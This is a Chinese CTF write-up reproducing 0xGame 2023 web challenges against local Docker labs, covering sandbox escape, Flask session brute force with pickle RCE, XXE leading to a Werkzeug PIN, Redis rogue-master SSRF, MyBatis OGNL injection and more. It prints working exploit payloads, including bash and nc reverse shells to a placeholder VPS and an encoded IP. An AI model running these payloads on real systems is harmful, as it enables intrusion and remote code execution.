0xGame 2023 部分题目复现与学习

前言

之前看到这个一直想搞,但是鸽了没有复现,提供了不少经典的内容,这里挑几个感兴趣的复现一下。
官方WP及docker下载:https://github.com/X1cT34m/0xGame2023/tree/main

Week 2

ez_sandbox

之前一直没学习过vm沙箱逃逸。于是趁这个简单题学习一下。
docker部署(对应文件夹下):

1
2
docker build -t ez_sandbox -f .\Dockerfile .
docker run -p 8111:3000 --name ez_sandbox [imageId]

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
secret: crypto.randomBytes(64).toString('hex'),
resave: false,
saveUninitialized: true
}))

var users = {}
var admins = {}

function merge(target, source) { //污染函数
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(source) { //调用污染函数点
return merge({}, source)
}

function waf(code) {
let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
for (let v of blacklist) {
if (code.includes(v)) {
throw new Error(v + ' is banned')
}
}
}

function requireLogin(req, res, next) {
if (!req.session.user) {
res.redirect('/login')
} else {
next()
}
}

app.use(function(req, res, next) {
for (let key in Object.prototype) {
delete Object.prototype[key]
}
next()
})

app.get('/', requireLogin, function(req, res) {
res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
let { username, password } = clone(req.body)

if (username in users && password === users[username]) {
req.session.user = username

if (username in admins) {
req.session.role = 'admin'
} else {
req.session.role = 'guest'
}

res.send({
'message': 'login success'
})
} else {
res.send({
'message': 'login failed'
})
}
})

app.post('/register', function(req, res) {
let { username, password } = clone(req.body)

if (username in users) {
res.send({
'message': 'register failed'
})
} else {
users[username] = password
res.send({
'message': 'register success'
})
}
})

app.get('/profile', requireLogin, function(req, res) {
res.send({
'user': req.session.user,
'role': req.session.role
})
})

app.post('/sandbox', requireLogin, function(req, res) {
if (req.session.role === 'admin') {
let code = req.body.code
let sandbox = Object.create(null)
let context = vm.createContext(sandbox)

try {
waf(code)
let result = vm.runInContext(code, context)
res.send({
'result': result
})
} catch (e) {
res.send({
'result': e.message
})
}
} else {
res.send({
'result': 'Your role is not admin, so you can not run any code'
})
}
})

app.get('/logout', requireLogin, function(req, res) {
req.session.destroy()
res.redirect('/login')
})

app.listen(3000, function() {
console.log('server start listening on :3000')
})

看到merge就知道要原型链污染,来让我们用admin的身份登录。但是这里ban了一些字段:let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
而且在merge中也将__proto__参数禁用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function merge(target, source) { //污染函数
for (let key in source) {
if (key === '__proto__') {
continue
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}

function clone(source) { //调用污染函数点
return merge({}, source)
}

但是这里无伤大雅,可以使用:constructor.prototype来进行替代。
register和login中都用了clone,我们在任一个中污染即可。
于是我们可以构造出内容:

1
2
3
4
5
6
7
8
9
{
"username": "natro92",
"password": "123",
"constructor": {
"prototype": {
"natro92": "123"
}
}
}

PixPin_2024-03-18_13-44-27.png
然后就是vm沙箱逃逸:

https://xz.aliyun.com/t/11859 vm沙箱逃逸

vm沙箱逃逸的本质就是获取到沙箱外的对象,然后获取到它的constructor的属性。
通过引用arugments.callee.caller获取到函数的调用者,来获取到process对象,再引用child_process来进行命令执行。
这里官方WP使用的用中括号和+来进行绕过。

https://www.anquanke.com/post/id/237032 nodejs中代码执行绕过的一些技巧

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// method 1
throw new Proxy({}, { // Proxy 对象用于创建对某一对象的代理, 以实现属性和方法的拦截
get: function(){ // 访问这个对象的任意一个属性都会执行 get 指向的函数
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
}
})
// method 2
let obj = {} // 针对该对象的 message 属性定义一个 getter, 当访问 obj.message 时会调用对应的函数
obj.__defineGetter__('message', function(){
const c = arguments.callee.caller
const p = (c['constru'+'ctor']['constru'+'ctor']('return pro'+'cess'))()
return p['mainM'+'odule']['requi'+'re']('child_pr'+'ocess')['ex'+'ecSync']('cat /flag').toString();
})
throw obj
// 或者模板字符串
throw new Proxy({}, {
get: function(){
const cc = arguments.callee.caller;
const p = (cc[`${`constructo`}r`][`${`constructo`}r`](`return ${`proces`}s`))();
return p[`${`mainModul`}e`][`${`requir`}e`]('child_pr'+'ocess')[`${`exe`}cSync`}`]('id').toString();
}
});

image.png
运行即可。

Week3

notebook

https://www.leavesongs.com/PENETRATION/client-session-security.html 客户端 session 导致的安全问题

部署:

1
2
docker build -t notebook -f .\Dockerfile .
docker run -p 8111:8000 --name notebook [imageId]

考察pickle反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
def __init__(self, name, content):
self._name = name
self._content = content

@property
def name(self):
return self._name

@property
def content(self):
return self._content


@app.route('/')
def index():
return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
note_name = request.form.get('note_name')
note_content = request.form.get('note_content')

if note_name == '' or note_content == '':
return render_template('index.html', status='add_failed', msg='note name or content is empty')

note_id = str(uuid.uuid4())
note = Note(note_name, note_content)

if not session.get('notes'):
session['notes'] = {}

notes = session['notes']
notes[note_id] = pickle.dumps(note)
session['notes'] = notes
return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
note_id = request.form.get('note_id')
if not note_id:
return render_template('index.html')

notes = session.get('notes')
if not notes:
return render_template('index.html', status='delete_failed', msg='You have no notes')

if not notes.get(note_id):
return render_template('index.html', status='delete_failed', msg='This note does not exist')

del notes[note_id]
session['notes'] = notes
return render_template('index.html', status='delete_success')


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

很早之前就接触了,但是因为各种原因都鸽了。现在学下:
flask的session存储在cookie中,加密手段和JWT类似,也就是虽然有secretkey进行签名,但是有和JWT类似的缺点,可以看到session中存储的信息,只不过无法进行修改。
这里使用的secretkey只有4位。

1
app.config['SECRET_KEY'] = os.urandom(2).hex()

位数过短就会出现被爆破的问题。
简单编写一个生成脚本:

1
2
3
4
5
6
7
8
9
10
import itertools

# * 生成四位
d = itertools.product('0123456789abcdef', repeat=4)

# * 写入字典
with open('dict.txt', 'w') as f:
for i in d:
f.write(''.join(i) + '\n')

解析之前任意生成一个note即可,这里有session。
image.png
使用工具进行爆破:

https://github.com/noraj/flask-session-cookie-manager
https://github.com/Paradoxis/Flask-Unsign

第一个用过了,试一试第二个,我这里用wsl运行的。

1
2
3
4
# 安装
pip3 install flask-unsign
# 使用
flask-unsign -u -c '.eJwtit0KgjAYQF8ldj9w080peKGSKKXgv3j5ibNkWlBkIL57Rp3Lc86K5tuzfyB7RUSaHedCxyblBjYYFxh0yrDoOSOkI8KQ5vc7ALLR4OZVmrp__NgPLAl1cAdlSRUtx2KytLbNC-VPngppeYqWoKHsAnVdjm6mtU2i7V_U0OQFc6ZgznffveMx-bWwup4Hx0Hbtn0A-N4xZw.Zffpvw.dynBsAEyjpu1xW4uarnO-6eJHdk' -w dicts.txt --no-literal-eval

image.png
5f5a
然后就是pickle反序列化。

https://xz.aliyun.com/t/7436

1
2
3
4
5
6
7
8
9
10
11
12
@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
notes = session.get('notes')
if not notes:
return render_template('note.html', msg='You have no notes')

note_raw = notes.get(note_id)
if not note_raw:
return render_template('note.html', msg='This note does not exist')

note = pickle.loads(note_raw)
return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)
1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class genpoc(object):
def __reduce__(self):
s = """echo test > poc.txt""" # 要执行的命令
return os.system, (s,) # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令

这里在官方wp中有几个问题,我觉得挺重要的:

  • pickle.dumps()生成的payload在windows和linux中执行的结果不同。
    1
    2
    3
    4
    5
    # Linux (注意 posix)
    b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

    # Windows (注意 nt)
    b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
    以及提及了一个我一直以来的问题:
    为什么有的时候可以用bash -i,但是有的时候不可以。

    https://www.k0rz3n.com/2018/08/05/Linux反弹shell(一)文件描述符与重定向/
    https://www.k0rz3n.com/2018/08/05/Linux%20反弹shell%20(二)反弹shell的本质/

然后你得知道上面这个反弹 shell 的语法其实是 bash 自身的特性, 而其它 shell 例如 sh, zsh 并不支持这个功能
对于题目的环境而言, 当你执行这条命令的时候, 它实际上是在 sh 的 context 中执行的, >& 以及 /dev/tcp/IP/Port 会被 sh 解析, 而不是 bash, 因此会报错
也就是说,并不是可能使用的不是bash就会导致这些问题,解决方法也就是网上常用的套一层bash -c

1
bash -c "bash -i >& /dev/tcp/xxxx/8888 0>&1"

然后构造payload即可(这里用dnslog或者bp的外带也可。)

1
flask-unsign --sign --cookie "{'notes': {'evil': b'''cos\nsystem\n(S'bash -c \"bash -i >& /dev/tcp/[your-vps-ip]/8888 0>&1\"'\ntR.'''}}" --secret 5f5a --no-literal-eval

image.png

rss_parser

部署

1
2
docker build -t rss_parser -f .\Dockerfile .
docker run -p 8111:8000 --name rss_parser [imageId]

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
feed_url = request.form['url']
if not re.match(r'^(http|https)://', feed_url):
return redirect('/')

content = requests.get(feed_url).content
tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

result = {}

rss_title = tree.find('/channel/title').text
rss_link = tree.find('/channel/link').text
rss_posts = tree.findall('/channel/item')

result['title'] = rss_title
result['link'] = rss_link
result['posts'] = []

if len(rss_posts) >= 10:
rss_posts = rss_posts[:10]

for post in rss_posts:
post_title = post.find('./title').text
post_link = post.find('./link').text
result['posts'].append({'title': post_title, 'link': unquote(post_link)})

return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=True)

从内容上可以看出是解析rss的订阅的内容。但是我测试了一下我的rss会报错?
etree.parse存在XXE漏洞。

1
etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

resolve_entities被设置为True时,就会解析XXE实体。

https://github.com/MisakiKata/python_code_audit/blob/master/XXE.md

image.png
XXE payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///file/place">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>https://natro92.fun/</link>
<item>
<title>test</title>
<link>https://natro92.fun/</link>
</item>
</channel>
</rss>

这里我简单说一下怎么快速起一个html页面:

用httpd快速起一个HTML页面

使用httpd来搭建:

1
2
3
4
5
# 安装httpd,根据使用的系统
yum install httpd
# 在这之后会生成 /var/www/html 文件夹
systemctl start httpd
# 这时你可以访问到默认页面,在/var/www/html下放置html文件在80端口进行访问。

然后将地址放置到题目中:
这里不能直接读取到flag,但由于使用了Flask的debug模式,因此可以使用PIN code来进行
将读取文件的位置修改为/sys/class/net/eth0/address
PixPin_2024-03-19_16-54-37.png
转为十进制:

1
2
print(int('02:42:ac:11:00:02'.replace(':',''),16))
2485377892354

https://xz.aliyun.com/t/8092
https://www.tr0y.wang/2022/05/16/SecMap-flask/

然后读取/proc/sys/kernel/random/boot_id

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///proc/sys/kernel/random/boot_id">]>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
<channel>
<title>&file;</title>
<link>https://natro92.fun/</link>
<item>
<title>test</title>
<link>https://natro92.fun/</link>
</item>
</channel>
</rss>

image.png
86be6524-f2c2-41a1-8ee3-9462e5a3f4a9
再读取/proc/self/cgroup
0::/docker/f8a44004ca3dec942aa726196408e53a8a96d170932016d40ae77122b0ac9ab4
再读取/etc/machine-id/(这里docker不用看这个)
username一般是root或用户app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import hashlib
from itertools import chain
probably_public_bits = [
'app'# username /etc/passwd
'flask.app',# modname 默认值
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) 默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' # getattr(mod, '__file__', None), 报错得到
]

private_bits = [
'2485377892354',# /sys/class/net/eth0/address 十进制
'86be6524-f2c2-41a1-8ee3-9462e5a3f4a9'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num

print(rv)

然后运行/readflag即可。

zip_manager

部署

1
2
docker build -t zip_manager -f .\Dockerfile .
docker run -p 8111:8000 --name zip_manager [imageId]

或者

1
docker compose up -d

但这题似乎docker有问题,没搭建成。
考点是软链接和命令注入。

1
2
ln -s / test
zip -y test.zip test

上传后访问http://127.0.0.1:50033/test/test/
PixPin_2024-03-19_16-54-37.png

web_snapshot

这题用curl函数将html保存在Redis中。存在ssrf。但是限制了协议只能http/https
使用curl_setopt设置了CURLOPT_FOLLOWLOCATION,可以让curl根据返回头的Location进行重定向。

https://www.php.net/manual/zh/function.curl-setopt.php

可以通过设置为true和Location来将http重定向到dict、gopher协议。
image.png
但是web服务和redis服务不在同一个服务器,不能写入shell来RCE。

https://www.cnblogs.com/xiaozi/p/13089906.html redis主从复制rce
https://github.com/Dliv3/redis-rogue-server redis主从复制

通过设置slave of参数达到设置主从状态。
主机的值的修改会同步到从机上。
官方WPpayload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import re

def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data

def gen_payload(payload):

redis_payload = ''

for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'

gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
return gopher_payload

payload1 = '''
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''

print(gen_payload(payload1))
print(gen_payload(payload2))

分两次打,放置:
vps起php文件 php -S 0.0.0.0:port 或者apache或nginx。
恶意Redis server:

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server

1
python3 redis_rogue_server.py -v -lport 8888 -path exp.so  

RedisModulesSDK/exp/exp.c 一个函数,make编译后生成的exp.so

https://github.com/vulhub/redis-rogue-getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
if (argc == 3) {
size_t cmd_len;
char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
int port = atoi(port_s);
int pid;
char * succ= "+OK";
pid = fork();
if (pid || pid == -1){
RedisModuleString *ret = RedisModule_CreateString(ctx, succ, strlen(succ));
RedisModule_ReplyWithString(ctx, ret);
RedisModule_FreeString(ctx,ret);
return REDISMODULE_OK;
}

system("nc ip port -e sh");

return REDISMODULE_OK;

} else {
return RedisModule_WrongArity(ctx);
}
return REDISMODULE_OK;
}
1
2
3
4
5
6
7
<?php

// step 1
header('Location: gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%30%0D%0A%68%6F%73%74%2E%64%6F%63%6B%65%72%2E%69%6E%74%65%72%6E%61%6C%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

// step 2
// header('Location: gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');

这个环境我搞起来也多少有点问题😵没复现成功。

GoShop

1
docker-compose up

访问ip:50033

1
2
3
4
5
6
7
8
9
10
11
if user.Money >= product.Price*int64(n) {
user.Money -= product.Price * int64(n)
user.Items[product.Name] += int64(n)
c.JSON(200, gin.H{
"message": fmt.Sprintf("Buy %v * %v success", product.Name, n),
})
} else {
c.JSON(200, gin.H{
"message": "You don't have enough money",
})
}

go是强类型语言。虽然会在定义时检查变量是否溢出 ,但是不会检测运算时是否出现溢出。
可以控制n使product.Price * int64(n)溢出为负数,在进行user.Money -= product.Price * int64(n)时就会出现金钱数增加的情况。
image.png
image.png

Week4

spring

最喜欢的一集,hvv靠这个捞了点分。
actuator信息泄露。直接访问/actuator/env发现信息:
image.png
然后访问/actuator/heapdump
用JDumpSpider读取:

https://github.com/whwlsfb/JDumpSpider

1
java -jar .\JDumpSpider-1.1-SNAPSHOT-full.jar "D:\heapdump"

读取即可:
image.png

auth_bypass

题目附件给了 AuthFilter.java 和 DownloadServlet.java。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.demo;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class AuthFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) {
}

@Override
public void destroy() {
}

@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;

if (request.getRequestURI().contains("..")) {
resp.getWriter().write("blacklist");
return;
}

if (request.getRequestURI().startsWith("/download")) {
resp.getWriter().write("unauthorized access");
} else {
chain.doFilter(req, resp);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.demo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.FileInputStream;
import java.io.IOException;

public class DownloadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

String currentPath = this.getServletContext().getRealPath("/assets/");
Object fileNameParameter = req.getParameter("filename");
if (fileNameParameter != null) {
String fileName = (String) fileNameParameter;
resp.setHeader("Content-Disposition","attachment;filename="+fileName);
try (FileInputStream input = new FileInputStream(currentPath + fileName)) {
byte[] buffer = new byte[4096];
while (input.read(buffer) != -1) {
resp.getOutputStream().write(buffer);
}
}
} else {
resp.setContentType("text/html");
resp.getWriter().write("<a href=\"/download?filename=avatar.jpg\">avatar.jpg</a>");
}
}
}

任意文件读取。需要绕过../download

https://www.cnblogs.com/depycode/p/16124191.html

getRequestURI()不会自动urldecode,不会进行标准化去掉/.,因此可以通过//download进行访问,但是无法读取flag,所以需要RCE。
题目用war打包。
blog1698850966288-8e5b064d-bdd6-4201-9fbf-a507555dfebd.png
tomcat在部署war时会将其解压,WEB-INF中存在编译好的class文件和web.xml。
下载web.xml
//download?filename=%2e%2e/WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>IndexServlet</servlet-name>
<servlet-class>com.example.demo.IndexServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>com.example.demo.DownloadServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>EvilServlet</servlet-name>
<servlet-class>com.example.demo.EvilServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>IndexServlet</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/download</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>EvilServlet</servlet-name>
<url-pattern>/You_Find_This_Evil_Servlet_a76f02cb8422</url-pattern>
</servlet-mapping>

<filter>
<filter-name>AuthFilter</filter-name>
<filter-class>com.example.demo.AuthFilter</filter-class>
</filter>

<filter-mapping>
<filter-name>AuthFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

能发现存在一个EvilServlet在/You_Find_This_Evil_Servlet_a76f02cb8422
先下载EvilServlet。

1
//download?filename=%2e%2e/WEB-INF/classes/com/example/demo/EvilServlet.class

在JD-GUI中反编译打开。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class EvilServlet extends HttpServlet {
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
String cmd = req.getParameter("Evil_Cmd_Arguments_fe37627fed78");
try {
Runtime.getRuntime().exec(cmd);
resp.getWriter().write("success");
} catch (Exception e) {
resp.getWriter().write("error");
}
}
}

直接执行命令。
反弹shell即可。

注意传入Runtime.exec的命令需要进行一次编码
https://www.adminxe.com/tools/code.html
https://ares-x.com/tools/runtime-exec/
https://github.com/Threekiii/Awesome-Redteam/blob/master/scripts/runtime-exec-payloads.html

https://www.anquanke.com/post/id/243329
https://y4er.com/posts/java-exec-command/

urlencode一次:
image.png
image.png

YourBatis

存在mybatis 2.1.1 OGNL表达式注入。

https://www.cnpanda.net/sec/1227.html
https://forum.butian.net/share/1749

这有一个小坑, 如果 jar 包使用 JD-GUI 反编译的话就无法正常得到 UserSqlProvider 这个类的内容, 必须得使用 IDEA 自带的反编译器或者 Jadx-GUI 等其它工具才行
/user路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.yourbatis.provider;

import org.apache.ibatis.jdbc.SQL;

public class UserSqlProvider {
public UserSqlProvider() {
}

public String buildGetUsers() {
return (new SQL() {
{
this.SELECT("*");
this.FROM("users");
}
}).toString();
}

public String buildGetUserByUsername(final String username) {
return (new SQL() {
{
this.SELECT("*");
this.FROM("users");
this.WHERE(String.format("username = '%s'", username));
}
}).toString();
}
}

username存在SQL注入。
如果正常用OGNL表达式反弹shell:

1
2
3
${@java.lang.Runtime@getRuntime().exec("bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMTUuMjA0LjEwMS84ODg4IDA+JjE=}|{base64,-
d}|{bash,-i}")}

传入内容中的{}会被解释为另一个OGNL表达式,使用OGNL调用Java自身的base64 decode方法。

1
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzgwTnk0eE1UVXVNakEwTGpFd01TODRPRGc0SURBK0pqRT19fHtiYXNlNjQsLWR9fHtiYXNoLC1pfQ==')))}

然后urlencode全部内容:

1
%24%7b%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%40%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%27%59%6d%46%7a%61%43%41%74%59%79%42%37%5a%57%4e%6f%62%79%78%5a%62%55%5a%36%59%55%4e%42%64%47%46%54%51%53%74%4b%61%55%46%32%57%6b%64%57%4d%6b%77%7a%55%6d%70%6a%51%7a%67%77%54%6e%6b%30%65%45%31%55%56%58%56%4e%61%6b%45%77%54%47%70%46%64%30%31%54%4f%44%52%50%52%47%63%30%53%55%52%42%4b%30%70%71%52%54%31%39%66%48%74%69%59%58%4e%6c%4e%6a%51%73%4c%57%52%39%66%48%74%69%59%58%4e%6f%4c%43%31%70%66%51%3d%3d%27%29%29%29%7d

image.png
image.png

TestConnection

JDBC连接
pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.11</version>
<scope>runtime</scope>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
<scope>runtime</scope>
</dependency>
</dependencies>

mysql、postgresql和cc依赖。
MYSQL JDBC 反序列化:

https://tttang.com/archive/1877/#toc_

mysql jdbc利用工具:

https://github.com/4ra1n/mysql-fake-server
https://github.com/rmb122/rogue_mysql_server

方法一

这里用mysql-fake-server示例。
jdbc连接的是你开的恶意Mysql数据库:
image.png
payload:

1
